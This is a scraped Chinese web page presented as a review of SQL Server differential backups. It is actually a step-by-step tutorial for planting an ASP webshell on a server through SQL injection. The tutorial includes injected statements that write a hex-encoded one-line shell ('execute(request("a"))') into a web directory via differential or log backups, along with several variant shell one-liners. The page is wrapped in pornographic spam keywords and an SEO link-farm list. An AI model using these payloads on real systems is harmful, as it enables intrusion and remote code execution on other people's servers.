婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > 復習一下sql server的差異備份

復習一下sql server的差異備份

熱門標簽:AI智能云呼電話機器人怎么注冊 溫州語音外呼系統排名 四川穩定外呼系統公司 商家地圖標注圖片 福州外呼系統招商 百度地圖標注信息怎么修改 怎么在高德地圖標注多個點 沈陽外呼系統有效果嗎 電話機器人接口是什么樣的
MSSQL差異備份,就是和前一次備份作對比,把不一樣的內容備份下來,這樣,只要前一次備份后,插入新的內容,差異備份就可以把剛插入的內容備份出來,而這個備份文件將大大減少,得到webShell的成功也提高了不少! 

差異備份的流程大概這樣:
1.完整備份一次(保存位置當然可以改)
backup database 庫名 to disk = 'c:\ddd.bak';--

2.創建表并插曲入數據
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--

3.進行差異備份
backup database 庫名 to disk='目標位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

上面
0x3C25657865637574652872657175657374282261222929253E
就是一句話木馬的內容:%execute(request("a"))%>

如下是網上常見的差異備份代碼,思路一樣!
===================================================
利用差異備份提高提高backupwebshell的成功率,減少文件大小
步驟:
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT

0x77006F006B0061006F002E00620061006B00為wokao.bak
0x3C25657865637574652872657175657374282261222929253E是%execute(request("a"))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

聲明:方法不是我想的,我只是寫工具,默認得到shell是
%execute(request("a"))%>
===============================================================

我發現上面代碼,有時會無效,而直接用

backup database 庫名 to disk = 'c:\ddd.bak'

create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

backup database 庫名 to disk='目標位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

卻可以成功,所以把最原始的方法寫出來!思路是前人所創,這不說大家也知道的!

庫名 必須要有效的庫名,一般注入工具都可以得到!如果某站過濾 "‘",就要把字符內容轉為數值了!


網上還有log增量備份的,我也把他記錄一下
=====================================================
另一種log增量備份技術:

';alter database null set RECOVERY FULL--

';create table cmd (a image)--

';backup log null to disk = 'f:\cmd' with init--

';insert into cmd (a) values (0x3C2565786563757465287265717565737428226122292
9253EDA)--

';backup log null to disk = '備份路徑'--

PS:0x3C2565786563757465287265717565737428226122292
9253EDA 是一句話小馬16進制轉來的

說到一句話馬,還可以有這么幾種寫法:

a).%%25Execute(request("a"))%%25>
b).%Execute(request("a"))%>
c).%>%execute request("a")%>%
d).script language=VBScript runat=server>execute request("a")/script>
e).%25Execute(request("a"))%25> 
您可能感興趣的文章:
  • C#實現MySQL命令行備份和恢復
  • C#實現的SQL備份與還原功能示例
  • c#使用file.copy實現文件備份示例
  • Python 實現文件的全備份和差異備份詳解
  • Python實現網站文件的全備份和差異備份
  • sqlserver 手工實現差異備份的步驟
  • 提權思路之MSSQL差異備份取系統權限
  • MSSQL差異備份取系統權限的相關軟件下載
  • C#寫差異文件備份工具的示例

標簽:汕尾 來賓 無錫 七臺河 營口 邯鄲 西寧 寶雞

巨人網絡通訊聲明:本文標題《復習一下sql server的差異備份》,本文關鍵詞  復習,一下,sql,server,的,差異,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《復習一下sql server的差異備份》相關的同類信息!
  • 本頁收集關于復習一下sql server的差異備份的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 高邮市| 开江县| 布尔津县| 华坪县| 泰州市| 抚松县| 仁布县| 盈江县| 永宁县| 通城县| 灯塔市| 股票| 高州市| 宁明县| 建宁县| 洛川县| 中牟县| 永清县| 来安县| 沙雅县| 泸州市| 开原市| 无为县| 屏东县| 顺昌县| 怀远县| 凤山县| 彰武县| 竹溪县| 宾阳县| 德清县| 贺兰县| 城市| 通海县| 台东县| 柏乡县| 南江县| 呼图壁县| 佳木斯市| 丹凤县| 门头沟区|